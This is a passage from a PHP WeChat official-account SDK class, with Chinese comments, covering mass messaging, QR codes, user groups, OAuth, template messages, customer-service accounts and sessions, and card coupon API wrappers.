	 * 高级群发消息, 删除群发图文消息(认证后的订阅号可用)

	 * @param int $msg_id 消息id

	 * @return boolean|array

	 */

	public function deleteMassMessage($msg_id){

		if (!$this->access_token && !$this->checkAuth()) return false;

		$result = $this->http_post(self::API_URL_PREFIX.self::MASS_DELETE_URL.'access_token='.$this->access_token,self::json_encode(array('msg_id'=>$msg_id)));

		if ($result)

		{

			$json = json_decode($result,true);

			if (!$json || !empty($json['errcode'])) {

				$this->errCode = $json['errcode'];

				$this->errMsg = $json['errmsg'];

				return false;

			}

			return true;

		}

		return false;

	}

	/**

	 * 高级群发消息, 预览群发消息(认证后的订阅号可用)

	 * 	注意：视频需要在调用uploadMedia()方法后，再使用 uploadMpVideo() 方法生成，

	 *             然后获得的 mediaid 才能用于群发，且消息类型为 mpvideo 类型。

	 * @param array $data 消息结构

	 * {

	 *     "touser"=>"OPENID",

	 *      "msgtype"=>"mpvideo",

	 *      // 在下面5种类型中选择对应的参数内容

	 *      // mpnews | voice | image | mpvideo => array( "media_id"=>"MediaId")

	 *      // text => array ( "content" => "hello")

	 * }

	 * @return boolean|array

	 */

	public function previewMassMessage($data){

	    if (!$this->access_token && !$this->checkAuth()) return false;

	    $result = $this->http_post(self::API_URL_PREFIX.self::MASS_PREVIEW_URL.'access_token='.$this->access_token,self::json_encode($data));

	    if ($result)

	    {

	        $json = json_decode($result,true);

	        if (!$json || !empty($json['errcode'])) {

	            $this->errCode = $json['errcode'];

	            $this->errMsg = $json['errmsg'];

	            return false;

	        }

	        return $json;

	    }

	    return false;

	}

	/**

	 * 高级群发消息, 查询群发消息发送状态(认证后的订阅号可用)

	 * @param int $msg_id 消息id

	 * @return boolean|array

	 * {

	 *     "msg_id":201053012,     //群发消息后返回的消息id

	 *     "msg_status":"SEND_SUCCESS" //消息发送后的状态，SENDING表示正在发送 SEND_SUCCESS表示发送成功

	 * }

	 */

	public function queryMassMessage($msg_id){

		if (!$this->access_token && !$this->checkAuth()) return false;

		$result = $this->http_post(self::API_URL_PREFIX.self::MASS_QUERY_URL.'access_token='.$this->access_token,self::json_encode(array('msg_id'=>$msg_id)));

		if ($result)

		{

			$json = json_decode($result,true);

			if (!$json || !empty($json['errcode'])) {

				$this->errCode = $json['errcode'];

				$this->errMsg = $json['errmsg'];

				return false;

			}

			return $json;

		}

		return false;

	}

	/**

	 * 创建二维码ticket

	 * @param int|string $scene_id 自定义追踪id,临时二维码只能用数值型

	 * @param int $type 0:临时二维码；1:永久二维码(此时expire参数无效)；2:永久二维码(此时expire参数无效)

	 * @param int $expire 临时二维码有效期，最大为604800秒

	 * @return array('ticket'=>'qrcode字串','expire_seconds'=>604800,'url'=>'二维码图片解析后的地址')

	 */

	public function getQRCode($scene_id,$type=0,$expire=604800){

		if (!$this->access_token && !$this->checkAuth()) return false;

		$type = ($type && is_string($scene_id))?2:$type;

		$data = array(

			'action_name'=>$type?($type == 2?"QR_LIMIT_STR_SCENE":"QR_LIMIT_SCENE"):"QR_SCENE",

			'expire_seconds'=>$expire,

			'action_info'=>array('scene'=>($type == 2?array('scene_str'=>$scene_id):array('scene_id'=>$scene_id)))

		);

		if ($type == 1) {

			unset($data['expire_seconds']);

		}

		$result = $this->http_post(self::API_URL_PREFIX.self::QRCODE_CREATE_URL.'access_token='.$this->access_token,self::json_encode($data));

		if ($result)

		{

			$json = json_decode($result,true);

			if (!$json || !empty($json['errcode'])) {

				$this->errCode = $json['errcode'];

				$this->errMsg = $json['errmsg'];

				return false;

			}

			return $json;

		}

		return false;

	}

	/**

	 * 获取二维码图片

	 * @param string $ticket 传入由getQRCode方法生成的ticket参数

	 * @return string url 返回http地址

	 */

	public function getQRUrl($ticket) {

		return self::QRCODE_IMG_URL.urlencode($ticket);

	}

	/**

	 * 长链接转短链接接口

	 * @param string $long_url 传入要转换的长url

	 * @return boolean|string url 成功则返回转换后的短url

	 */

	public function getShortUrl($long_url){

	    if (!$this->access_token && !$this->checkAuth()) return false;

	    $data = array(

            'action'=>'long2short',

            'long_url'=>$long_url

	    );

	    $result = $this->http_post(self::API_URL_PREFIX.self::SHORT_URL.'access_token='.$this->access_token,self::json_encode($data));

	    if ($result)

	    {

	        $json = json_decode($result,true);

	        if (!$json || !empty($json['errcode'])) {

	            $this->errCode = $json['errcode'];

	            $this->errMsg = $json['errmsg'];

	            return false;

	        }

	        return $json['short_url'];

	    }

	    return false;

	}

	/**

	 * 获取统计数据

	 * @param string $type  数据分类(user|article|upstreammsg|interface)分别为(用户分析|图文分析|消息分析|接口分析)

	 * @param string $subtype   数据子分类，参考 DATACUBE_URL_ARR 常量定义部分 或者README.md说明文档

	 * @param string $begin_date 开始时间

	 * @param string $end_date   结束时间

	 * @return boolean|array 成功返回查询结果数组，其定义请看官方文档

	 */

	public function getDatacube($type,$subtype,$begin_date,$end_date=''){

	    if (!$this->access_token && !$this->checkAuth()) return false;

		if (!isset(self::$DATACUBE_URL_ARR[$type]) || !isset(self::$DATACUBE_URL_ARR[$type][$subtype]))

			return false;

	    $data = array(

            'begin_date'=>$begin_date,

            'end_date'=>$end_date?$end_date:$begin_date

	    );

	    $result = $this->http_post(self::API_BASE_URL_PREFIX.self::$DATACUBE_URL_ARR[$type][$subtype].'access_token='.$this->access_token,self::json_encode($data));

	    if ($result)

	    {

	        $json = json_decode($result,true);

	        if (!$json || !empty($json['errcode'])) {

	            $this->errCode = $json['errcode'];

	            $this->errMsg = $json['errmsg'];

	            return false;

	        }

	        return isset($json['list'])?$json['list']:$json;

	    }

	    return false;

	}

	/**

	 * 批量获取关注用户列表

	 * @param unknown $next_openid

	 */

	public function getUserList($next_openid=''){

		if (!$this->access_token && !$this->checkAuth()) return false;

		$result = $this->http_get(self::API_URL_PREFIX.self::USER_GET_URL.'access_token='.$this->access_token.'&next_openid='.$next_openid);

		if ($result)

		{

			$json = json_decode($result,true);

			if (isset($json['errcode'])) {

				$this->errCode = $json['errcode'];

				$this->errMsg = $json['errmsg'];

				return false;

			}

			return $json;

		}

		return false;

	}

	/**

	 * 获取关注者详细信息

	 * @param string $openid

	 * @return array {subscribe,openid,nickname,sex,city,province,country,language,headimgurl,subscribe_time,[unionid]}

	 * 注意：unionid字段 只有在用户将公众号绑定到微信开放平台账号后，才会出现。建议调用前用isset()检测一下

	 */

	public function getUserInfo($openid){

		if (!$this->access_token && !$this->checkAuth()) return false;

		$result = $this->http_get(self::API_URL_PREFIX.self::USER_INFO_URL.'access_token='.$this->access_token.'&openid='.$openid);

		if ($result)

		{

			$json = json_decode($result,true);

			if (isset($json['errcode'])) {

				$this->errCode = $json['errcode'];

				$this->errMsg = $json['errmsg'];

				return false;

			}

			return $json;

		}

		return false;

	}

	/**

	 * 设置用户备注名

	 * @param string $openid

	 * @param string $remark 备注名

	 * @return boolean|array

	 */

	public function updateUserRemark($openid,$remark){

	    if (!$this->access_token && !$this->checkAuth()) return false;

	    $data = array(

			'openid'=>$openid,

			'remark'=>$remark

	    );

	    $result = $this->http_post(self::API_URL_PREFIX.self::USER_UPDATEREMARK_URL.'access_token='.$this->access_token,self::json_encode($data));

	    if ($result)

	    {

	        $json = json_decode($result,true);

			if (!$json || !empty($json['errcode'])) {

				$this->errCode = $json['errcode'];

				$this->errMsg = $json['errmsg'];

				return false;

			}

			return $json;

	    }

	    return false;

	}

	/**

	 * 获取用户分组列表

	 * @return boolean|array

	 */

	public function getGroup(){

		if (!$this->access_token && !$this->checkAuth()) return false;

		$result = $this->http_get(self::API_URL_PREFIX.self::GROUP_GET_URL.'access_token='.$this->access_token);

		if ($result)

		{

			$json = json_decode($result,true);

			if (isset($json['errcode'])) {

				$this->errCode = $json['errcode'];

				$this->errMsg = $json['errmsg'];

				return false;

			}

			return $json;

		}

		return false;

	}

	/**

	 * 获取用户所在分组

	 * @param string $openid

	 * @return boolean|int 成功则返回用户分组id

	 */

	public function getUserGroup($openid){

	    if (!$this->access_token && !$this->checkAuth()) return false;

	    $data = array(

	            'openid'=>$openid

	    );

	    $result = $this->http_post(self::API_URL_PREFIX.self::USER_GROUP_URL.'access_token='.$this->access_token,self::json_encode($data));

	    if ($result)

	    {

	        $json = json_decode($result,true);

	        if (!$json || !empty($json['errcode'])) {

	            $this->errCode = $json['errcode'];

	            $this->errMsg = $json['errmsg'];

	            return false;

	        } else

                if (isset($json['groupid'])) return $json['groupid'];

	    }

	    return false;

	}

	/**

	 * 新增自定分组

	 * @param string $name 分组名称

	 * @return boolean|array

	 */

	public function createGroup($name){

		if (!$this->access_token && !$this->checkAuth()) return false;

		$data = array(

				'group'=>array('name'=>$name)

		);

		$result = $this->http_post(self::API_URL_PREFIX.self::GROUP_CREATE_URL.'access_token='.$this->access_token,self::json_encode($data));

		if ($result)

		{

			$json = json_decode($result,true);

			if (!$json || !empty($json['errcode'])) {

				$this->errCode = $json['errcode'];

				$this->errMsg = $json['errmsg'];

				return false;

			}

			return $json;

		}

		return false;

	}

	/**

	 * 更改分组名称

	 * @param int $groupid 分组id

	 * @param string $name 分组名称

	 * @return boolean|array

	 */

	public function updateGroup($groupid,$name){

		if (!$this->access_token && !$this->checkAuth()) return false;

		$data = array(

				'group'=>array('id'=>$groupid,'name'=>$name)

		);

		$result = $this->http_post(self::API_URL_PREFIX.self::GROUP_UPDATE_URL.'access_token='.$this->access_token,self::json_encode($data));

		if ($result)

		{

			$json = json_decode($result,true);

			if (!$json || !empty($json['errcode'])) {

				$this->errCode = $json['errcode'];

				$this->errMsg = $json['errmsg'];

				return false;

			}

			return $json;

		}

		return false;

	}

	/**

	 * 移动用户分组

	 * @param int $groupid 分组id

	 * @param string $openid 用户openid

	 * @return boolean|array

	 */

	public function updateGroupMembers($groupid,$openid){

		if (!$this->access_token && !$this->checkAuth()) return false;

		$data = array(

				'openid'=>$openid,

				'to_groupid'=>$groupid

		);

		$result = $this->http_post(self::API_URL_PREFIX.self::GROUP_MEMBER_UPDATE_URL.'access_token='.$this->access_token,self::json_encode($data));

		if ($result)

		{

			$json = json_decode($result,true);

			if (!$json || !empty($json['errcode'])) {

				$this->errCode = $json['errcode'];

				$this->errMsg = $json['errmsg'];

				return false;

			}

			return $json;

		}

		return false;

	}

	/**

	 * 批量移动用户分组

	 * @param int $groupid 分组id

	 * @param string $openid_list 用户openid数组,一次不能超过50个

	 * @return boolean|array

	 */

	public function batchUpdateGroupMembers($groupid,$openid_list){

		if (!$this->access_token && !$this->checkAuth()) return false;

		$data = array(

				'openid_list'=>$openid_list,

				'to_groupid'=>$groupid

		);

		$result = $this->http_post(self::API_URL_PREFIX.self::GROUP_MEMBER_BATCHUPDATE_URL.'access_token='.$this->access_token,self::json_encode($data));

		if ($result)

		{

			$json = json_decode($result,true);

			if (!$json || !empty($json['errcode'])) {

				$this->errCode = $json['errcode'];

				$this->errMsg = $json['errmsg'];

				return false;

			}

			return $json;

		}

		return false;

	}

	/**

	 * 发送客服消息

	 * @param array $data 消息结构{"touser":"OPENID","msgtype":"news","news":{...}}

	 * @return boolean|array

	 */

	public function sendCustomMessage($data){

		if (!$this->access_token && !$this->checkAuth()) return false;

		$result = $this->http_post(self::API_URL_PREFIX.self::CUSTOM_SEND_URL.'access_token='.$this->access_token,self::json_encode($data));

		if ($result)

		{

			$json = json_decode($result,true);

			if (!$json || !empty($json['errcode'])) {

				$this->errCode = $json['errcode'];

				$this->errMsg = $json['errmsg'];

				return false;

			}

			return $json;

		}

		return false;

	}

	/**

	 * oauth 授权跳转接口

	 * @param string $callback 回调URI

	 * @return string

	 */

	public function getOauthRedirect($callback,$state='',$scope='snsapi_userinfo'){

		return self::OAUTH_PREFIX.self::OAUTH_AUTHORIZE_URL.'appid='.$this->appid.'&redirect_uri='.urlencode($callback).'&response_type=code&scope='.$scope.'&state='.$state.'#wechat_redirect';

	}

	/**

	 * 通过code获取Access Token

	 * @return array {access_token,expires_in,refresh_token,openid,scope}

	 */

	public function getOauthAccessToken(){

		$code = isset($_GET['code'])?$_GET['code']:'';

		if (!$code) return false;

		$result = $this->http_get(self::API_BASE_URL_PREFIX.self::OAUTH_TOKEN_URL.'appid='.$this->appid.'&secret='.$this->appsecret.'&code='.$code.'&grant_type=authorization_code');

		if ($result)

		{

			$json = json_decode($result,true);

			if (!$json || !empty($json['errcode'])) {

				$this->errCode = $json['errcode'];

				$this->errMsg = $json['errmsg'];

				return false;

			}

			$this->user_token = $json['access_token'];

			return $json;

		}

		return false;

	}

	/**

	 * 刷新access token并续期

	 * @param string $refresh_token

	 * @return boolean|mixed

	 */

	public function getOauthRefreshToken($refresh_token){

		$result = $this->http_get(self::API_BASE_URL_PREFIX.self::OAUTH_REFRESH_URL.'appid='.$this->appid.'&grant_type=refresh_token&refresh_token='.$refresh_token);

		if ($result)

		{

			$json = json_decode($result,true);

			if (!$json || !empty($json['errcode'])) {

				$this->errCode = $json['errcode'];

				$this->errMsg = $json['errmsg'];

				return false;

			}

			$this->user_token = $json['access_token'];

			return $json;

		}

		return false;

	}

	/**

	 * 获取授权后的用户资料

	 * @param string $access_token

	 * @param string $openid

	 * @return array {openid,nickname,sex,province,city,country,headimgurl,privilege,[unionid]}

	 * 注意：unionid字段 只有在用户将公众号绑定到微信开放平台账号后，才会出现。建议调用前用isset()检测一下

	 */

	public function getOauthUserinfo($access_token,$openid){

		$result = $this->http_get(self::API_BASE_URL_PREFIX.self::OAUTH_USERINFO_URL.'access_token='.$access_token.'&openid='.$openid);

		if ($result)

		{

			$json = json_decode($result,true);

			if (!$json || !empty($json['errcode'])) {

				$this->errCode = $json['errcode'];

				$this->errMsg = $json['errmsg'];

				return false;

			}

			return $json;

		}

		return false;

	}

	/**

	 * 检验授权凭证是否有效

	 * @param string $access_token

	 * @param string $openid

	 * @return boolean 是否有效

	 */

	public function getOauthAuth($access_token,$openid){

	    $result = $this->http_get(self::API_BASE_URL_PREFIX.self::OAUTH_AUTH_URL.'access_token='.$access_token.'&openid='.$openid);

	    if ($result)

	    {

	        $json = json_decode($result,true);

	        if (!$json || !empty($json['errcode'])) {

	            $this->errCode = $json['errcode'];

	            $this->errMsg = $json['errmsg'];

	            return false;

	        } else

	          if ($json['errcode']==0) return true;

	    }

	    return false;

	}

	/**

	 * 模板消息 设置所属行业

	 * @param int $id1  公众号模板消息所属行业编号，参看官方开发文档 行业代码

	 * @param int $id2  同$id1。但如果只有一个行业，此参数可省略

	 * @return boolean|array

	 */

	public function setTMIndustry($id1,$id2=''){

	    if ($id1) $data['industry_id1'] = $id1;

	    if ($id2) $data['industry_id2'] = $id2;

	    if (!$this->access_token && !$this->checkAuth()) return false;

	    $result = $this->http_post(self::API_URL_PREFIX.self::TEMPLATE_SET_INDUSTRY_URL.'access_token='.$this->access_token,self::json_encode($data));

	    if($result){

	        $json = json_decode($result,true);

	        if (!$json || !empty($json['errcode'])) {

	            $this->errCode = $json['errcode'];

	            $this->errMsg = $json['errmsg'];

	            return false;

	        }

	        return $json;

	    }

	    return false;

	}

	/**

	 * 模板消息 添加消息模板

	 * 成功返回消息模板的调用id

	 * @param string $tpl_id 模板库中模板的编号，有“TM**”和“OPENTMTM**”等形式

	 * @return boolean|string

	 */

	public function addTemplateMessage($tpl_id){

	    $data = array ('template_id_short' =>$tpl_id);

	    if (!$this->access_token && !$this->checkAuth()) return false;

	    $result = $this->http_post(self::API_URL_PREFIX.self::TEMPLATE_ADD_TPL_URL.'access_token='.$this->access_token,self::json_encode($data));

	    if($result){

	        $json = json_decode($result,true);

	        if (!$json || !empty($json['errcode'])) {

	            $this->errCode = $json['errcode'];

	            $this->errMsg = $json['errmsg'];

	            return false;

	        }

	        return $json['template_id'];

	    }

	    return false;

	}

	/**

	 * 发送模板消息

	 * @param array $data 消息结构

	 * ｛

			"touser":"OPENID",

			"template_id":"ngqIpbwh8bUfcSsECmogfXcV14J0tQlEpBO27izEYtY",

			"url":"http://weixin.qq.com/download",

			"topcolor":"#FF0000",

			"data":{

				"参数名1": {

					"value":"参数",

					"color":"#173177"	 //参数颜色

					},

				"Date":{

					"value":"06月07日 19时24分",

					"color":"#173177"

					},

				"CardNumber":{

					"value":"0426",

					"color":"#173177"

					},

				"Type":{

					"value":"消费",

					"color":"#173177"

					}

			}

		}

	 * @return boolean|array

	 */

	public function sendTemplateMessage($data){

		if (!$this->access_token && !$this->checkAuth()) return false;

		$result = $this->http_post(self::API_URL_PREFIX.self::TEMPLATE_SEND_URL.'access_token='.$this->access_token,self::json_encode($data));

		if($result){

			$json = json_decode($result,true);

			if (!$json || !empty($json['errcode'])) {

				$this->errCode = $json['errcode'];

				$this->errMsg = $json['errmsg'];

				return false;

			}

			return $json;

		}

		return false;

	}

	/**

	 * 获取多客服会话记录

	 * @param array $data 数据结构{"starttime":123456789,"endtime":987654321,"openid":"OPENID","pagesize":10,"pageindex":1,}

	 * @return boolean|array

	 */

	public function getCustomServiceMessage($data){

		if (!$this->access_token && !$this->checkAuth()) return false;

		$result = $this->http_post(self::API_URL_PREFIX.self::CUSTOM_SERVICE_GET_RECORD.'access_token='.$this->access_token,self::json_encode($data));

		if ($result)

		{

			$json = json_decode($result,true);

			if (!$json || !empty($json['errcode'])) {

				$this->errCode = $json['errcode'];

				$this->errMsg = $json['errmsg'];

				return false;

			}

			return $json;

		}

		return false;

	}

	/**

	 * 转发多客服消息

	 * Example: $obj->transfer_customer_service($customer_account)->reply();

	 * @param string $customer_account 转发到指定客服帐号：test1@test

	 */

	public function transfer_customer_service($customer_account = '')

	{

		$msg = array(

			'ToUserName' => $this->getRevFrom(),

			'FromUserName'=>$this->getRevTo(),

			'CreateTime'=>time(),

			'MsgType'=>'transfer_customer_service',

		);

		if ($customer_account) {

			$msg['TransInfo'] = array('KfAccount'=>$customer_account);

		}

		$this->Message($msg);

		return $this;

	}

	/**

	 * 获取多客服客服基本信息

	 *

	 * @return boolean|array

	 */

	public function getCustomServiceKFlist(){

		if (!$this->access_token && !$this->checkAuth()) return false;

		$result = $this->http_get(self::API_URL_PREFIX.self::CUSTOM_SERVICE_GET_KFLIST.'access_token='.$this->access_token);

		if ($result)

		{

			$json = json_decode($result,true);

			if (!$json || !empty($json['errcode'])) {

				$this->errCode = $json['errcode'];

				$this->errMsg = $json['errmsg'];

				return false;

			}

			return $json;

		}

		return false;

	}

	/**

	 * 获取多客服在线客服接待信息

	 *

	 * @return boolean|array {

	 "kf_online_list": [

	 {

	 "kf_account": "test1@test",	//客服账号@微信别名

	 "status": 1,			//客服在线状态 1：pc在线，2：手机在线,若pc和手机同时在线则为 1+2=3

	 "kf_id": "1001",		//客服工号

	 "auto_accept": 0,		//客服设置的最大自动接入数

	 "accepted_case": 1		//客服当前正在接待的会话数

	 }

	 ]

	 }

	 */

	public function getCustomServiceOnlineKFlist(){

	    if (!$this->access_token && !$this->checkAuth()) return false;

	    $result = $this->http_get(self::API_URL_PREFIX.self::CUSTOM_SERVICE_GET_ONLINEKFLIST.'access_token='.$this->access_token);

	    if ($result)

	    {

	        $json = json_decode($result,true);

	        if (!$json || !empty($json['errcode'])) {

	            $this->errCode = $json['errcode'];

	            $this->errMsg = $json['errmsg'];

	            return false;

	        }

	        return $json;

	    }

	    return false;

	}

	/**

	 * 创建指定多客服会话

	 * @tutorial 当用户已被其他客服接待或指定客服不在线则会失败

	 * @param string $openid           //用户openid

	 * @param string $kf_account     //客服账号

	 * @param string $text                 //附加信息，文本会展示在客服人员的多客服客户端，可为空

	 * @return boolean | array            //成功返回json数组

	 * {

	 *   "errcode": 0,

	 *   "errmsg": "ok",

	 * }

	 */

	public function createKFSession($openid,$kf_account,$text=''){

	    $data=array(

	    	"openid" =>$openid,

	        "kf_account" => $kf_account

	    );

	    if ($text) $data["text"] = $text;

	    if (!$this->access_token && !$this->checkAuth()) return false;

	    $result = $this->http_post(self::API_BASE_URL_PREFIX.self::CUSTOM_SESSION_CREATE.'access_token='.$this->access_token,self::json_encode($data));

	    if ($result)

	    {

	        $json = json_decode($result,true);

	        if (!$json || !empty($json['errcode'])) {

	            $this->errCode = $json['errcode'];

	            $this->errMsg = $json['errmsg'];

	            return false;

	        }

	        return $json;

	    }

	    return false;

	}

	/**

	 * 关闭指定多客服会话

	 * @tutorial 当用户被其他客服接待时则会失败

	 * @param string $openid           //用户openid

	 * @param string $kf_account     //客服账号

	 * @param string $text                 //附加信息，文本会展示在客服人员的多客服客户端，可为空

	 * @return boolean | array            //成功返回json数组

	 * {

	 *   "errcode": 0,

	 *   "errmsg": "ok",

	 * }

	 */

	public function closeKFSession($openid,$kf_account,$text=''){

	    $data=array(

	    	"openid" =>$openid,

	        "kf_account" => $kf_account

	    );

	    if ($text) $data["text"] = $text;

	    if (!$this->access_token && !$this->checkAuth()) return false;

	    $result = $this->http_post(self::API_BASE_URL_PREFIX.self::CUSTOM_SESSION_CLOSE .'access_token='.$this->access_token,self::json_encode($data));

	    if ($result)

	    {

	        $json = json_decode($result,true);

	        if (!$json || !empty($json['errcode'])) {

	            $this->errCode = $json['errcode'];

	            $this->errMsg = $json['errmsg'];

	            return false;

	        }

	        return $json;

	    }

	    return false;

	}

	/**

	 * 获取用户会话状态

	 * @param string $openid           //用户openid

	 * @return boolean | array            //成功返回json数组

	 * {

	 *     "errcode" : 0,

	 *     "errmsg" : "ok",

	 *     "kf_account" : "test1@test",    //正在接待的客服

	 *     "createtime": 123456789,        //会话接入时间

	 *  }

	 */

	public function getKFSession($openid){

	    if (!$this->access_token && !$this->checkAuth()) return false;

	    $result = $this->http_get(self::API_BASE_URL_PREFIX.self::CUSTOM_SESSION_GET .'access_token='.$this->access_token.'&openid='.$openid);

	    if ($result)

	    {

	        $json = json_decode($result,true);

	        if (!$json || !empty($json['errcode'])) {

	            $this->errCode = $json['errcode'];

	            $this->errMsg = $json['errmsg'];

	            return false;

	        }

	        return $json;

	    }

	    return false;

	}

	/**

	 * 获取指定客服的会话列表

	 * @param string $openid           //用户openid

	 * @return boolean | array            //成功返回json数组

	 *  array(

	 *     'sessionlist' => array (

	 *         array (

	 *             'openid'=>'OPENID',             //客户 openid

	 *             'createtime'=>123456789,  //会话创建时间，UNIX 时间戳

	 *         ),

	 *         array (

	 *             'openid'=>'OPENID',             //客户 openid

	 *             'createtime'=>123456789,  //会话创建时间，UNIX 时间戳

	 *         ),

	 *     )

	 *  )

	 */

	public function getKFSessionlist($kf_account){

	    if (!$this->access_token && !$this->checkAuth()) return false;

	    $result = $this->http_get(self::API_BASE_URL_PREFIX.self::CUSTOM_SESSION_GET_LIST .'access_token='.$this->access_token.'&kf_account='.$kf_account);

	    if ($result)

	    {

	        $json = json_decode($result,true);

	        if (!$json || !empty($json['errcode'])) {

	            $this->errCode = $json['errcode'];

	            $this->errMsg = $json['errmsg'];

	            return false;

	        }

	        return $json;

	    }

	    return false;

	}

	/**

	 * 获取未接入会话列表

	 * @param string $openid           //用户openid

	 * @return boolean | array            //成功返回json数组

	 *  array (

	 *     'count' => 150 ,                            //未接入会话数量

	 *     'waitcaselist' => array (

	 *         array (

	 *             'openid'=>'OPENID',             //客户 openid

	 *             'kf_account ' =>'',                   //指定接待的客服，为空则未指定

	 *             'createtime'=>123456789,  //会话创建时间，UNIX 时间戳

	 *         ),

	 *         array (

	 *             'openid'=>'OPENID',             //客户 openid

	 *             'kf_account ' =>'',                   //指定接待的客服，为空则未指定

	 *             'createtime'=>123456789,  //会话创建时间，UNIX 时间戳

	 *         )

	 *     )

	 *  )

	 */

	public function getKFSessionWait(){

	    if (!$this->access_token && !$this->checkAuth()) return false;

	    $result = $this->http_get(self::API_BASE_URL_PREFIX.self::CUSTOM_SESSION_GET_WAIT .'access_token='.$this->access_token);

	    if ($result)

	    {

	        $json = json_decode($result,true);

	        if (!$json || !empty($json['errcode'])) {

	            $this->errCode = $json['errcode'];

	            $this->errMsg = $json['errmsg'];

	            return false;

	        }

	        return $json;

	    }

	    return false;

	}

	/**

	 * 添加客服账号

	 *

	 * @param string $account      //完整客服账号，格式为：账号前缀@公众号微信号，账号前缀最多10个字符，必须是英文或者数字字符

	 * @param string $nickname     //客服昵称，最长6个汉字或12个英文字符

	 * @param string $password     //客服账号明文登录密码，会自动加密

	 * @return boolean|array

	 * 成功返回结果

	 * {

	 *   "errcode": 0,

	 *   "errmsg": "ok",

	 * }

	 */

	public function addKFAccount($account,$nickname,$password){

	    $data=array(

	    	"kf_account" =>$account,

	        "nickname" => $nickname,

	        "password" => md5($password)

	    );

		if (!$this->access_token && !$this->checkAuth()) return false;

		$result = $this->http_post(self::API_BASE_URL_PREFIX.self::CS_KF_ACCOUNT_ADD_URL.'access_token='.$this->access_token,self::json_encode($data));

		if ($result)

		{

			$json = json_decode($result,true);

			if (!$json || !empty($json['errcode'])) {

				$this->errCode = $json['errcode'];

				$this->errMsg = $json['errmsg'];

				return false;

			}

			return $json;

		}

		return false;

	}

	/**

	 * 修改客服账号信息

	 *

	 * @param string $account      //完整客服账号，格式为：账号前缀@公众号微信号，账号前缀最多10个字符，必须是英文或者数字字符

	 * @param string $nickname     //客服昵称，最长6个汉字或12个英文字符

	 * @param string $password     //客服账号明文登录密码，会自动加密

	 * @return boolean|array

	 * 成功返回结果

	 * {

	 *   "errcode": 0,

	 *   "errmsg": "ok",

	 * }

	 */

	public function updateKFAccount($account,$nickname,$password){

	    $data=array(

	            "kf_account" =>$account,

	            "nickname" => $nickname,

	            "password" => md5($password)

	    );

	    if (!$this->access_token && !$this->checkAuth()) return false;

	    $result = $this->http_post(self::API_BASE_URL_PREFIX.self::CS_KF_ACCOUNT_UPDATE_URL.'access_token='.$this->access_token,self::json_encode($data));

	    if ($result)

	    {

	        $json = json_decode($result,true);

	        if (!$json || !empty($json['errcode'])) {

	            $this->errCode = $json['errcode'];

	            $this->errMsg = $json['errmsg'];

	            return false;

	        }

	        return $json;

	    }

	    return false;

	}

	/**

	 * 删除客服账号

	 *

	 * @param string $account      //完整客服账号，格式为：账号前缀@公众号微信号，账号前缀最多10个字符，必须是英文或者数字字符

	 * @return boolean|array

	 * 成功返回结果

	 * {

	 *   "errcode": 0,

	 *   "errmsg": "ok",

	 * }

	 */

	public function deleteKFAccount($account){

	    if (!$this->access_token && !$this->checkAuth()) return false;

	    $result = $this->http_get(self::API_BASE_URL_PREFIX.self::CS_KF_ACCOUNT_DEL_URL.'access_token='.$this->access_token.'&kf_account='.$account);

	    if ($result)

	    {

	        $json = json_decode($result,true);

	        if (!$json || !empty($json['errcode'])) {

	            $this->errCode = $json['errcode'];

	            $this->errMsg = $json['errmsg'];

	            return false;

	        }

	        return $json;

	    }

	    return false;

	}

	/**

	 * 上传客服头像

	 *

	 * @param string $account //完整客服账号，格式为：账号前缀@公众号微信号，账号前缀最多10个字符，必须是英文或者数字字符

	 * @param string $imgfile //头像文件完整路径,如：'D:\user.jpg'。头像文件必须JPG格式，像素建议640*640

	 * @return boolean|array

	 * 成功返回结果

	 * {

	 *   "errcode": 0,

	 *   "errmsg": "ok",

	 * }

	 */

	public function setKFHeadImg($account,$imgfile){

	    if (!$this->access_token && !$this->checkAuth()) return false;

	    $result = $this->http_post(self::API_BASE_URL_PREFIX.self::CS_KF_ACCOUNT_UPLOAD_HEADIMG_URL.'access_token='.$this->access_token.'&kf_account='.$account,array('media'=>'@'.$imgfile),true);

	    if ($result)

	    {

	        $json = json_decode($result,true);

	        if (!$json || !empty($json['errcode'])) {

	            $this->errCode = $json['errcode'];

	            $this->errMsg = $json['errmsg'];

	            return false;

	        }

	        return $json;

	    }

	    return false;

	}

	/**

	 * 语义理解接口

	 * @param String $uid      用户唯一id（非开发者id），用户区分公众号下的不同用户（建议填入用户openid）

	 * @param String $query    输入文本串

	 * @param String $category 需要使用的服务类型，多个用“，”隔开，不能为空

	 * @param Float $latitude  纬度坐标，与经度同时传入；与城市二选一传入

	 * @param Float $longitude 经度坐标，与纬度同时传入；与城市二选一传入

	 * @param String $city     城市名称，与经纬度二选一传入

	 * @param String $region   区域名称，在城市存在的情况下可省略；与经纬度二选一传入

	 * @return boolean|array

	 */

	public function querySemantic($uid,$query,$category,$latitude=0,$longitude=0,$city="",$region=""){

	    if (!$this->access_token && !$this->checkAuth()) return false;

	    $data=array(

	            'query' => $query,

	            'category' => $category,

	            'appid' => $this->appid,

	            'uid' => ''

	    );

	    //地理坐标或城市名称二选一

	    if ($latitude) {

	        $data['latitude'] = $latitude;

	        $data['longitude'] = $longitude;

	    } elseif ($city) {

	        $data['city'] = $city;

	    } elseif ($region) {

	        $data['region'] = $region;

	    }

	    $result = $this->http_post(self::API_BASE_URL_PREFIX.self::SEMANTIC_API_URL.'access_token='.$this->access_token,self::json_encode($data));

	    if ($result)

	    {

	        $json = json_decode($result,true);

	        if (!$json || !empty($json['errcode'])) {

	            $this->errCode = $json['errcode'];

	            $this->errMsg = $json['errmsg'];

	            return false;

	        }

	        return $json;

	    }

	    return false;

	}

    /**

     * 创建卡券

     * @param Array $data      卡券数据

     * @return array|boolean 返回数组中card_id为卡券ID

     */

    public function createCard($data) {

        if (!$this->access_token && !$this->checkAuth()) return false;

        $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_CREATE . 'access_token=' . $this->access_token, self::json_encode($data));

        if ($result) {

            $json = json_decode($result, true);

            if (!$json || !empty($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg  = $json['errmsg'];

                return false;

            }

            return $json;

        }

        return false;

    }

    /**

     * 更改卡券信息

     * 调用该接口更新信息后会重新送审，卡券状态变更为待审核。已被用户领取的卡券会实时更新票面信息。

     * @param string $data

     * @return boolean

     */

    public function updateCard($data) {

        if (!$this->access_token && !$this->checkAuth()) return false;

        $result = $this->http_post(self::API_BASE_URL_PREFIX . self::CARD_UPDATE . 'access_token=' . $this->access_token, self::json_encode($data));

        if ($result) {

            $json = json_decode($result, true);

            if (!$json || !empty($json['errcode'])) {

